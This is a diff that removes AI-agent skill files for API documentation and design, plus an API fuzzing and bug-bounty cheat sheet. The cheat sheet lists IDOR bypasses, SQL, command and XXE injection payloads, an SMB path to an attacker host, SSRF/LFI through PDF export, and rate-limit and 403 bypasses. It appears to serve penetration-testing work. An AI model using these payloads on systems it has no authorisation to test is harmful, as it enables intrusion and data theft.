3. Create pages
|
||||
4. Add navigation
|
||||
5. Configure search
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @docs-architect to design API documentation site
|
||||
```
|
||||
|
||||
### Phase 7: Maintenance
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-documenter` - Doc maintenance
|
||||
|
||||
#### Actions
|
||||
1. Set up auto-generation
|
||||
2. Configure validation
|
||||
3. Add review process
|
||||
4. Schedule updates
|
||||
5. Monitor feedback
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-documenter to set up automated doc generation
|
||||
```
|
||||
|
||||
## Quality Gates
|
||||
|
||||
- [ ] OpenAPI spec complete
|
||||
- [ ] Developer guide written
|
||||
- [ ] Code examples working
|
||||
- [ ] Interactive docs functional
|
||||
- [ ] Documentation deployed
|
||||
|
||||
## Related Workflow Bundles
|
||||
|
||||
- `documentation` - Documentation
|
||||
- `api-development` - API development
|
||||
- `development` - Development
|
||||
@@ -1,186 +0,0 @@
|
||||
---
|
||||
name: api-documenter
|
||||
description: "Master API documentation with OpenAPI 3.1, AI-powered tools, and"
|
||||
modern developer experience practices. Create interactive docs, generate SDKs,
|
||||
and build comprehensive developer portals. Use PROACTIVELY for API
|
||||
documentation or developer portal creation.
|
||||
metadata:
|
||||
model: sonnet
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
You are an expert API documentation specialist mastering modern developer experience through comprehensive, interactive, and AI-enhanced documentation.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Creating or updating OpenAPI/AsyncAPI specifications
|
||||
- Building developer portals, SDK docs, or onboarding flows
|
||||
- Improving API documentation quality and discoverability
|
||||
- Generating code examples or SDKs from API specs
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You only need a quick internal note or informal summary
|
||||
- The task is pure backend implementation without docs
|
||||
- There is no API surface or spec to document
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Identify target users, API scope, and documentation goals.
|
||||
2. Create or validate specifications with examples and auth flows.
|
||||
3. Build interactive docs and ensure accuracy with tests.
|
||||
4. Plan maintenance, versioning, and migration guidance.
|
||||
|
||||
## Purpose
|
||||
|
||||
Expert API documentation specialist focusing on creating world-class developer experiences through comprehensive, interactive, and accessible API documentation. Masters modern documentation tools, OpenAPI 3.1+ standards, and AI-powered documentation workflows while ensuring documentation drives API adoption and reduces developer integration time.
|
||||
|
||||
## Capabilities
|
||||
|
||||
### Modern Documentation Standards
|
||||
|
||||
- OpenAPI 3.1+ specification authoring with advanced features
|
||||
- API-first design documentation with contract-driven development
|
||||
- AsyncAPI specifications for event-driven and real-time APIs
|
||||
- GraphQL schema documentation and SDL best practices
|
||||
- JSON Schema validation and documentation integration
|
||||
- Webhook documentation with payload examples and security considerations
|
||||
- API lifecycle documentation from design to deprecation
|
||||
|
||||
### AI-Powered Documentation Tools
|
||||
|
||||
- AI-assisted content generation with tools like Mintlify and ReadMe AI
|
||||
- Automated documentation updates from code comments and annotations
|
||||
- Natural language processing for developer-friendly explanations
|
||||
- AI-powered code example generation across multiple languages
|
||||
- Intelligent content suggestions and consistency checking
|
||||
- Automated testing of documentation examples and code snippets
|
||||
- Smart content translation and localization workflows
|
||||
|
||||
### Interactive Documentation Platforms
|
||||
|
||||
- Swagger UI and Redoc customization and optimization
|
||||
- Stoplight Studio for collaborative API design and documentation
|
||||
- Insomnia and Postman collection generation and maintenance
|
||||
- Custom documentation portals with frameworks like Docusaurus
|
||||
- API Explorer interfaces with live testing capabilities
|
||||
- Try-it-now functionality with authentication handling
|
||||
- Interactive tutorials and onboarding experiences
|
||||
|
||||
### Developer Portal Architecture
|
||||
|
||||
- Comprehensive developer portal design and information architecture
|
||||
- Multi-API documentation organization and navigation
|
||||
- User authentication and API key management integration
|
||||
- Community features including forums, feedback, and support
|
||||
- Analytics and usage tracking for documentation effectiveness
|
||||
- Search optimization and discoverability enhancements
|
||||
- Mobile-responsive documentation design
|
||||
|
||||
### SDK and Code Generation
|
||||
|
||||
- Multi-language SDK generation from OpenAPI specifications
|
||||
- Code snippet generation for popular languages and frameworks
|
||||
- Client library documentation and usage examples
|
||||
- Package manager integration and distribution strategies
|
||||
- Version management for generated SDKs and libraries
|
||||
- Custom code generation templates and configurations
|
||||
- Integration with CI/CD pipelines for automated releases
|
||||
|
||||
### Authentication and Security Documentation
|
||||
|
||||
- OAuth 2.0 and OpenID Connect flow documentation
|
||||
- API key management and security best practices
|
||||
- JWT token handling and refresh mechanisms
|
||||
- Rate limiting and throttling explanations
|
||||
- Security scheme documentation with working examples
|
||||
- CORS configuration and troubleshooting guides
|
||||
- Webhook signature verification and security
|
||||
|
||||
### Testing and Validation
|
||||
|
||||
- Documentation-driven testing with contract validation
|
||||
- Automated testing of code examples and curl commands
|
||||
- Response validation against schema definitions
|
||||
- Performance testing documentation and benchmarks
|
||||
- Error simulation and troubleshooting guides
|
||||
- Mock server generation from documentation
|
||||
- Integration testing scenarios and examples
|
||||
|
||||
### Version Management and Migration
|
||||
|
||||
- API versioning strategies and documentation approaches
|
||||
- Breaking change communication and migration guides
|
||||
- Deprecation notices and timeline management
|
||||
- Changelog generation and release note automation
|
||||
- Backward compatibility documentation
|
||||
- Version-specific documentation maintenance
|
||||
- Migration tooling and automation scripts
|
||||
|
||||
### Content Strategy and Developer Experience
|
||||
|
||||
- Technical writing best practices for developer audiences
|
||||
- Information architecture and content organization
|
||||
- User journey mapping and onboarding optimization
|
||||
- Accessibility standards and inclusive design practices
|
||||
- Performance optimization for documentation sites
|
||||
- SEO optimization for developer content discovery
|
||||
- Community-driven documentation and contribution workflows
|
||||
|
||||
### Integration and Automation
|
||||
|
||||
- CI/CD pipeline integration for documentation updates
|
||||
- Git-based documentation workflows and version control
|
||||
- Automated deployment and hosting strategies
|
||||
- Integration with development tools and IDEs
|
||||
- API testing tool integration and synchronization
|
||||
- Documentation analytics and feedback collection
|
||||
- Third-party service integrations and embeds
|
||||
|
||||
## Behavioral Traits
|
||||
|
||||
- Prioritizes developer experience and time-to-first-success
|
||||
- Creates documentation that reduces support burden
|
||||
- Focuses on practical, working examples over theoretical descriptions
|
||||
- Maintains accuracy through automated testing and validation
|
||||
- Designs for discoverability and progressive disclosure
|
||||
- Builds inclusive and accessible content for diverse audiences
|
||||
- Implements feedback loops for continuous improvement
|
||||
- Balances comprehensiveness with clarity and conciseness
|
||||
- Follows docs-as-code principles for maintainability
|
||||
- Considers documentation as a product requiring user research
|
||||
|
||||
## Knowledge Base
|
||||
|
||||
- OpenAPI 3.1 specification and ecosystem tools
|
||||
- Modern documentation platforms and static site generators
|
||||
- AI-powered documentation tools and automation workflows
|
||||
- Developer portal best practices and information architecture
|
||||
- Technical writing principles and style guides
|
||||
- API design patterns and documentation standards
|
||||
- Authentication protocols and security documentation
|
||||
- Multi-language SDK generation and distribution
|
||||
- Documentation testing frameworks and validation tools
|
||||
- Analytics and user research methodologies for documentation
|
||||
|
||||
## Response Approach
|
||||
|
||||
1. **Assess documentation needs** and target developer personas
|
||||
2. **Design information architecture** with progressive disclosure
|
||||
3. **Create comprehensive specifications** with validation and examples
|
||||
4. **Build interactive experiences** with try-it-now functionality
|
||||
5. **Generate working code examples** across multiple languages
|
||||
6. **Implement testing and validation** for accuracy and reliability
|
||||
7. **Optimize for discoverability** and search engine visibility
|
||||
8. **Plan for maintenance** and automated updates
|
||||
|
||||
## Example Interactions
|
||||
|
||||
- "Create a comprehensive OpenAPI 3.1 specification for this REST API with authentication examples"
|
||||
- "Build an interactive developer portal with multi-API documentation and user onboarding"
|
||||
- "Generate SDKs in Python, JavaScript, and Go from this OpenAPI spec"
|
||||
- "Design a migration guide for developers upgrading from API v1 to v2"
|
||||
- "Create webhook documentation with security best practices and payload examples"
|
||||
- "Build automated testing for all code examples in our API documentation"
|
||||
- "Design an API explorer interface with live testing and authentication"
|
||||
- "Create comprehensive error documentation with troubleshooting guides"
|
||||
@@ -1,438 +0,0 @@
|
||||
---
|
||||
name: api-fuzzing-bug-bounty
|
||||
description: "This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug b..."
|
||||
metadata:
|
||||
author: zebbern
|
||||
version: "1.1"
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# API Fuzzing for Bug Bounty
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Burp Suite or similar proxy tool
|
||||
- API wordlists (SecLists, api_wordlist)
|
||||
- Understanding of REST/GraphQL/SOAP protocols
|
||||
- Python for scripting
|
||||
- Target API endpoints and documentation (if available)
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Identified API vulnerabilities
|
||||
- IDOR exploitation proofs
|
||||
- Authentication bypass techniques
|
||||
- SQL injection points
|
||||
- Unauthorized data access documentation
|
||||
|
||||
---
|
||||
|
||||
## API Types Overview
|
||||
|
||||
| Type | Protocol | Data Format | Structure |
|
||||
|------|----------|-------------|-----------|
|
||||
| SOAP | HTTP | XML | Header + Body |
|
||||
| REST | HTTP | JSON/XML/URL | Defined endpoints |
|
||||
| GraphQL | HTTP | Custom Query | Single endpoint |
|
||||
|
||||
---
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Step 1: API Reconnaissance
|
||||
|
||||
Identify API type and enumerate endpoints:
|
||||
|
||||
```bash
|
||||
# Check for Swagger/OpenAPI documentation
|
||||
/swagger.json
|
||||
/openapi.json
|
||||
/api-docs
|
||||
/v1/api-docs
|
||||
/swagger-ui.html
|
||||
|
||||
# Use Kiterunner for API discovery
|
||||
kr scan https://target.com -w routes-large.kite
|
||||
|
||||
# Extract paths from Swagger
|
||||
python3 json2paths.py swagger.json
|
||||
```
|
||||
|
||||
### Step 2: Authentication Testing
|
||||
|
||||
```bash
|
||||
# Test different login paths
|
||||
/api/mobile/login
|
||||
/api/v3/login
|
||||
/api/magic_link
|
||||
/api/admin/login
|
||||
|
||||
# Check rate limiting on auth endpoints
|
||||
# If no rate limit → brute force possible
|
||||
|
||||
# Test mobile vs web API separately
|
||||
# Don't assume same security controls
|
||||
```
|
||||
|
||||
### Step 3: IDOR Testing
|
||||
|
||||
Insecure Direct Object Reference is the most common API vulnerability:
|
||||
|
||||
```bash
|
||||
# Basic IDOR
|
||||
GET /api/users/1234 → GET /api/users/1235
|
||||
|
||||
# Even if ID is email-based, try numeric
|
||||
/?user_id=111 instead of /?user_id=user@mail.com
|
||||
|
||||
# Test /me/orders vs /user/654321/orders
|
||||
```
|
||||
|
||||
**IDOR Bypass Techniques:**
|
||||
|
||||
```bash
|
||||
# Wrap ID in array
|
||||
{"id":111} → {"id":[111]}
|
||||
|
||||
# JSON wrap
|
||||
{"id":111} → {"id":{"id":111}}
|
||||
|
||||
# Send ID twice
|
||||
URL?id=<LEGIT>&id=<VICTIM>
|
||||
|
||||
# Wildcard injection
|
||||
{"user_id":"*"}
|
||||
|
||||
# Parameter pollution
|
||||
/api/get_profile?user_id=<victim>&user_id=<legit>
|
||||
{"user_id":<legit_id>,"user_id":<victim_id>}
|
||||
```
|
||||
|
||||
### Step 4: Injection Testing
|
||||
|
||||
**SQL Injection in JSON:**
|
||||
|
||||
```json
|
||||
{"id":"56456"} → OK
|
||||
{"id":"56456 AND 1=1#"} → OK
|
||||
{"id":"56456 AND 1=2#"} → OK
|
||||
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
|
||||
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
|
||||
```
|
||||
|
||||
**Command Injection:**
|
||||
|
||||
```bash
|
||||
# Ruby on Rails
|
||||
?url=Kernel#open → ?url=|ls
|
||||
|
||||
# Linux command injection
|
||||
api.url.com/endpoint?name=file.txt;ls%20/
|
||||
```
|
||||
|
||||
**XXE Injection:**
|
||||
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
|
||||
```
|
||||
|
||||
**SSRF via API:**
|
||||
|
||||
```html
|
||||
<object data="http://127.0.0.1:8443"/>
|
||||
<img src="http://127.0.0.1:445"/>
|
||||
```
|
||||
|
||||
**.NET Path.Combine Vulnerability:**
|
||||
|
||||
```bash
|
||||
# If .NET app uses Path.Combine(path_1, path_2)
|
||||
# Test for path traversal
|
||||
https://example.org/download?filename=a.png
|
||||
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
|
||||
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
|
||||
```
|
||||
|
||||
### Step 5: Method Testing
|
||||
|
||||
```bash
|
||||
# Test all HTTP methods
|
||||
GET /api/v1/users/1
|
||||
POST /api/v1/users/1
|
||||
PUT /api/v1/users/1
|
||||
DELETE /api/v1/users/1
|
||||
PATCH /api/v1/users/1
|
||||
|
||||
# Switch content type
|
||||
Content-Type: application/json → application/xml
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## GraphQL-Specific Testing
|
||||
|
||||
### Introspection Query
|
||||
|
||||
Fetch entire backend schema:
|
||||
|
||||
```graphql
|
||||
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
|
||||
```
|
||||
|
||||
**URL-encoded version:**
|
||||
|
||||
```
|
||||
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
|
||||
```
|
||||
|
||||
### GraphQL IDOR
|
||||
|
||||
```graphql
|
||||
# Try accessing other user IDs
|
||||
query {
|
||||
user(id: "OTHER_USER_ID") {
|
||||
email
|
||||
password
|
||||
creditCard
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### GraphQL SQL/NoSQL Injection
|
||||
|
||||
```graphql
|
||||
mutation {
|
||||
login(input: {
|
||||
email: "test' or 1=1--"
|
||||
password: "password"
|
||||
}) {
|
||||
success
|
||||
jwt
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Rate Limit Bypass (Batching)
|
||||
|
||||
```graphql
|
||||
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
|
||||
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
|
||||
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
|
||||
```
|
||||
|
||||
### GraphQL DoS (Nested Queries)
|
||||
|
||||
```graphql
|
||||
query {
|
||||
posts {
|
||||
comments {
|
||||
user {
|
||||
posts {
|
||||
comments {
|
||||
user {
|
||||
posts { ... }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### GraphQL XSS
|
||||
|
||||
```bash
|
||||
# XSS via GraphQL endpoint
|
||||
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
|
||||
|
||||
# URL-encoded XSS
|
||||
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
|
||||
```
|
||||
|
||||
### GraphQL Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| GraphCrawler | Schema discovery |
|
||||
| graphw00f | Fingerprinting |
|
||||
| clairvoyance | Schema reconstruction |
|
||||
| InQL | Burp extension |
|
||||
| GraphQLmap | Exploitation |
|
||||
|
||||
---
|
||||
|
||||
## Endpoint Bypass Techniques
|
||||
|
||||
When receiving 403/401, try these bypasses:
|
||||
|
||||
```bash
|
||||
# Original blocked request
|
||||
/api/v1/users/sensitivedata → 403
|
||||
|
||||
# Bypass attempts
|
||||
/api/v1/users/sensitivedata.json
|
||||
/api/v1/users/sensitivedata?
|
||||
/api/v1/users/sensitivedata/
|
||||
/api/v1/users/sensitivedata??
|
||||
/api/v1/users/sensitivedata%20
|
||||
/api/v1/users/sensitivedata%09
|
||||
/api/v1/users/sensitivedata#
|
||||
/api/v1/users/sensitivedata&details
|
||||
/api/v1/users/..;/sensitivedata
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Output Exploitation
|
||||
|
||||
### PDF Export Attacks
|
||||
|
||||
```html
|
||||
<!-- LFI via PDF export -->
|
||||
<iframe src="file:///etc/passwd" height=1000 width=800>
|
||||
|
||||
<!-- SSRF via PDF export -->
|
||||
<object data="http://127.0.0.1:8443"/>
|
||||
|
||||
<!-- Port scanning -->
|
||||
<img src="http://127.0.0.1:445"/>
|
||||
|
||||
<!-- IP disclosure -->
|
||||
<img src="https://iplogger.com/yourcode.gif"/>
|
||||
```
|
||||
|
||||
### DoS via Limits
|
||||
|
||||
```bash
|
||||
# Normal request
|
||||
/api/news?limit=100
|
||||
|
||||
# DoS attempt
|
||||
/api/news?limit=9999999999
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Common API Vulnerabilities Checklist
|
||||
|
||||
| Vulnerability | Description |
|
||||
|---------------|-------------|
|
||||
| API Exposure | Unprotected endpoints exposed publicly |
|
||||
| Misconfigured Caching | Sensitive data cached incorrectly |
|
||||
| Exposed Tokens | API keys/tokens in responses or URLs |
|
||||
| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
|
||||
| IDOR / BOLA | Broken Object Level Authorization |
|
||||
| Undocumented Endpoints | Hidden admin/debug endpoints |
|
||||
| Different Versions | Security gaps in older API versions |
|
||||
| Rate Limiting | Missing or bypassable rate limits |
|
||||
| Race Conditions | TOCTOU vulnerabilities |
|
||||
| XXE Injection | XML parser exploitation |
|
||||
| Content Type Issues | Switching between JSON/XML |
|
||||
| HTTP Method Tampering | GET→DELETE/PUT abuse |
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Vulnerability | Test Payload | Risk |
|
||||
|---------------|--------------|------|
|
||||
| IDOR | Change user_id parameter | High |
|
||||
| SQLi | `' OR 1=1--` in JSON | Critical |
|
||||
| Command Injection | `; ls /` | Critical |
|
||||
| XXE | DOCTYPE with ENTITY | High |
|
||||
| SSRF | Internal IP in params | High |
|
||||
| Rate Limit Bypass | Batch requests | Medium |
|
||||
| Method Tampering | GET→DELETE | High |
|
||||
|
||||
---
|
||||
|
||||
## Tools Reference
|
||||
|
||||
| Category | Tool | URL |
|
||||
|----------|------|-----|
|
||||
| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
|
||||
| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
|
||||
| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
|
||||
| API Security | apicheck | github.com/BBVA/apicheck |
|
||||
| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
|
||||
| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
|
||||
| API Toolkit | APIKit | github.com/API-Security/APIKit |
|
||||
| API Keys | API Guesser | api-guesser.netlify.app |
|
||||
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
|
||||
| GraphQL | InQL | github.com/doyensec/inql |
|
||||
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
|
||||
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
|
||||
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
|
||||
| GraphQL | batchql | github.com/assetnote/batchql |
|
||||
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
|
||||
| Wordlists | SecLists | github.com/danielmiessler/SecLists |
|
||||
| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
|
||||
| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
|
||||
| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
|
||||
| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
|
||||
|
||||
---
|
||||
|
||||
## Constraints
|
||||
|
||||
**Must:**
|
||||
- Test mobile, web, and developer APIs separately
|
||||
- Check all API versions (/v1, /v2, /v3)
|
||||
- Validate both authenticated and unauthenticated access
|
||||
|
||||
**Must Not:**
|
||||
- Assume same security controls across API versions
|
||||
- Skip testing undocumented endpoints
|
||||
- Ignore rate limiting checks
|
||||
|
||||
**Should:**
|
||||
- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
|
||||
- Check archive.org for historical API endpoints
|
||||
- Test for race conditions on sensitive operations
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: IDOR Exploitation
|
||||
|
||||
```bash
|
||||
# Original request (own data)
|
||||
GET /api/v1/invoices/12345
|
||||
Authorization: Bearer <token>
|
||||
|
||||
# Modified request (other user's data)
|
||||
GET /api/v1/invoices/12346
|
||||
Authorization: Bearer <token>
|
||||
|
||||
# Response reveals other user's invoice data
|
||||
```
|
||||
|
||||
### Example 2: GraphQL Introspection
|
||||
|
||||
```bash
|
||||
curl -X POST https://target.com/graphql \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
|
||||
| 401 on all endpoints | Try adding `?user_id=1` parameter |
|
||||
| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
|
||||
| Rate limited | Use IP rotation or batch requests |
|
||||
| Can't find endpoints | Check Swagger, archive.org, JS files |
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,86 +0,0 @@
|
||||
---
|
||||
name: api-patterns
|
||||
description: "API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination."
|
||||
allowed-tools: Read, Write, Edit, Glob, Grep
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# API Patterns
|
||||
|
||||
> API design principles and decision-making for 2025.
|
||||
> **Learn to THINK, not copy fixed patterns.**
|
||||
|
||||
## 🎯 Selective Reading Rule
|
||||
|
||||
**Read ONLY files relevant to the request!** Check the content map, find what you need.
|
||||
|
||||
---
|
||||
|
||||
## 📑 Content Map
|
||||
|
||||
| File | Description | When to Read |
|
||||
|------|-------------|--------------|
|
||||
| `api-style.md` | REST vs GraphQL vs tRPC decision tree | Choosing API type |
|
||||
| `rest.md` | Resource naming, HTTP methods, status codes | Designing REST API |
|
||||
| `response.md` | Envelope pattern, error format, pagination | Response structure |
|
||||
| `graphql.md` | Schema design, when to use, security | Considering GraphQL |
|
||||
| `trpc.md` | TypeScript monorepo, type safety | TS fullstack projects |
|
||||
| `versioning.md` | URI/Header/Query versioning | API evolution planning |
|
||||
| `auth.md` | JWT, OAuth, Passkey, API Keys | Auth pattern selection |
|
||||
| `rate-limiting.md` | Token bucket, sliding window | API protection |
|
||||
| `documentation.md` | OpenAPI/Swagger best practices | Documentation |
|
||||
| `security-testing.md` | OWASP API Top 10, auth/authz testing | Security audits |
|
||||
|
||||
---
|
||||
|
||||
## 🔗 Related Skills
|
||||
|
||||
| Need | Skill |
|
||||
|------|-------|
|
||||
| API implementation | `@[skills/backend-development]` |
|
||||
| Data structure | `@[skills/database-design]` |
|
||||
| Security details | `@[skills/security-hardening]` |
|
||||
|
||||
---
|
||||
|
||||
## ✅ Decision Checklist
|
||||
|
||||
Before designing an API:
|
||||
|
||||
- [ ] **Asked user about API consumers?**
|
||||
- [ ] **Chosen API style for THIS context?** (REST/GraphQL/tRPC)
|
||||
- [ ] **Defined consistent response format?**
|
||||
- [ ] **Planned versioning strategy?**
|
||||
- [ ] **Considered authentication needs?**
|
||||
- [ ] **Planned rate limiting?**
|
||||
- [ ] **Documentation approach defined?**
|
||||
|
||||
---
|
||||
|
||||
## ❌ Anti-Patterns
|
||||
|
||||
**DON'T:**
|
||||
- Default to REST for everything
|
||||
- Use verbs in REST endpoints (/getUsers)
|
||||
- Return inconsistent response formats
|
||||
- Expose internal errors to clients
|
||||
- Skip rate limiting
|
||||
|
||||
**DO:**
|
||||
- Choose API style based on context
|
||||
- Ask about client requirements
|
||||
- Document thoroughly
|
||||
- Use appropriate status codes
|
||||
|
||||
---
|
||||
|
||||
## Script
|
||||
|
||||
| Script | Purpose | Command |
|
||||
|--------|---------|---------|
|
||||
| `scripts/api_validator.py` | API endpoint validation | `python scripts/api_validator.py <project_path>` |
|
||||
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,42 +0,0 @@
|
||||
# API Style Selection (2025)
|
||||
|
||||
> REST vs GraphQL vs tRPC - Hangi durumda hangisi?
|
||||
|
||||
## Decision Tree
|
||||
|
||||
```
|
||||
Who are the API consumers?
|
||||
│
|
||||
├── Public API / Multiple platforms
|
||||
│ └── REST + OpenAPI (widest compatibility)
|
||||
│
|
||||
├── Complex data needs / Multiple frontends
|
||||
│ └── GraphQL (flexible queries)
|
||||
│
|
||||
├── TypeScript frontend + backend (monorepo)
|
||||
│ └── tRPC (end-to-end type safety)
|
||||
│
|
||||
├── Real-time / Event-driven
|
||||
│ └── WebSocket + AsyncAPI
|
||||
│
|
||||
└── Internal microservices
|
||||
└── gRPC (performance) or REST (simplicity)
|
||||
```
|
||||
|
||||
## Comparison
|
||||
|
||||
| Factor | REST | GraphQL | tRPC |
|
||||
|--------|------|---------|------|
|
||||
| **Best for** | Public APIs | Complex apps | TS monorepos |
|
||||
| **Learning curve** | Low | Medium | Low (if TS) |
|
||||
| **Over/under fetching** | Common | Solved | Solved |
|
||||
| **Type safety** | Manual (OpenAPI) | Schema-based | Automatic |
|
||||
| **Caching** | HTTP native | Complex | Client-based |
|
||||
|
||||
## Selection Questions
|
||||
|
||||
1. Who are the API consumers?
|
||||
2. Is the frontend TypeScript?
|
||||
3. How complex are the data relationships?
|
||||
4. Is caching critical?
|
||||
5. Public or internal API?
|
||||
@@ -1,24 +0,0 @@
|
||||
# Authentication Patterns
|
||||
|
||||
> Choose auth pattern based on use case.
|
||||
|
||||
## Selection Guide
|
||||
|
||||
| Pattern | Best For |
|
||||
|---------|----------|
|
||||
| **JWT** | Stateless, microservices |
|
||||
| **Session** | Traditional web, simple |
|
||||
| **OAuth 2.0** | Third-party integration |
|
||||
| **API Keys** | Server-to-server, public APIs |
|
||||
| **Passkey** | Modern passwordless (2025+) |
|
||||
|
||||
## JWT Principles
|
||||
|
||||
```
|
||||
Important:
|
||||
├── Always verify signature
|
||||
├── Check expiration
|
||||
├── Include minimal claims
|
||||
├── Use short expiry + refresh tokens
|
||||
└── Never store sensitive data in JWT
|
||||
```
|
||||
@@ -1,26 +0,0 @@
|
||||
# API Documentation Principles
|
||||
|
||||
> Good docs = happy developers = API adoption.
|
||||
|
||||
## OpenAPI/Swagger Essentials
|
||||
|
||||
```
|
||||
Include:
|
||||
├── All endpoints with examples
|
||||
├── Request/response schemas
|
||||
├── Authentication requirements
|
||||
├── Error response formats
|
||||
└── Rate limiting info
|
||||
```
|
||||
|
||||
## Good Documentation Has
|
||||
|
||||
```
|
||||
Essentials:
|
||||
├── Quick start / Getting started
|
||||
├── Authentication guide
|
||||
├── Complete API reference
|
||||
├── Error handling guide
|
||||
├── Code examples (multiple languages)
|
||||
└── Changelog
|
||||
```
|
||||
@@ -1,41 +0,0 @@
|
||||
# GraphQL Principles
|
||||
|
||||
> Flexible queries for complex, interconnected data.
|
||||
|
||||
## When to Use
|
||||
|
||||
```
|
||||
✅ Good fit:
|
||||
├── Complex, interconnected data
|
||||
├── Multiple frontend platforms
|
||||
├── Clients need flexible queries
|
||||
├── Evolving data requirements
|
||||
└── Reducing over-fetching matters
|
||||
|
||||
❌ Poor fit:
|
||||
├── Simple CRUD operations
|
||||
├── File upload heavy
|
||||
├── HTTP caching important
|
||||
└── Team unfamiliar with GraphQL
|
||||
```
|
||||
|
||||
## Schema Design Principles
|
||||
|
||||
```
|
||||
Principles:
|
||||
├── Think in graphs, not endpoints
|
||||
├── Design for evolvability (no versions)
|
||||
├── Use connections for pagination
|
||||
├── Be specific with types (not generic "data")
|
||||
└── Handle nullability thoughtfully
|
||||
```
|
||||
|
||||
## Security Considerations
|
||||
|
||||
```
|
||||
Protect against:
|
||||
├── Query depth attacks → Set max depth
|
||||
├── Query complexity → Calculate cost
|
||||
├── Batching abuse → Limit batch size
|
||||
├── Introspection → Disable in production
|
||||
```
|
||||
@@ -1,31 +0,0 @@
|
||||
# Rate Limiting Principles
|
||||
|
||||
> Protect your API from abuse and overload.
|
||||
|
||||
## Why Rate Limit
|
||||
|
||||
```
|
||||
Protect against:
|
||||
├── Brute force attacks
|
||||
├── Resource exhaustion
|
||||
├── Cost overruns (if pay-per-use)
|
||||
└── Unfair usage
|
||||
```
|
||||
|
||||
## Strategy Selection
|
||||
|
||||
| Type | How | When |
|
||||
|------|-----|------|
|
||||
| **Token bucket** | Burst allowed, refills over time | Most APIs |
|
||||
| **Sliding window** | Smooth distribution | Strict limits |
|
||||
| **Fixed window** | Simple counters per window | Basic needs |
|
||||
|
||||
## Response Headers
|
||||
|
||||
```
|
||||
Include in headers:
|
||||
├── X-RateLimit-Limit (max requests)
|
||||
├── X-RateLimit-Remaining (requests left)
|
||||
├── X-RateLimit-Reset (when limit resets)
|
||||
└── Return 429 when exceeded
|
||||
```
|
||||
@@ -1,37 +0,0 @@
|
||||
# Response Format Principles
|
||||
|
||||
> Consistency is key - choose a format and stick to it.
|
||||
|
||||
## Common Patterns
|
||||
|
||||
```
|
||||
Choose one:
|
||||
├── Envelope pattern ({ success, data, error })
|
||||
├── Direct data (just return the resource)
|
||||
└── HAL/JSON:API (hypermedia)
|
||||
```
|
||||
|
||||
## Error Response
|
||||
|
||||
```
|
||||
Include:
|
||||
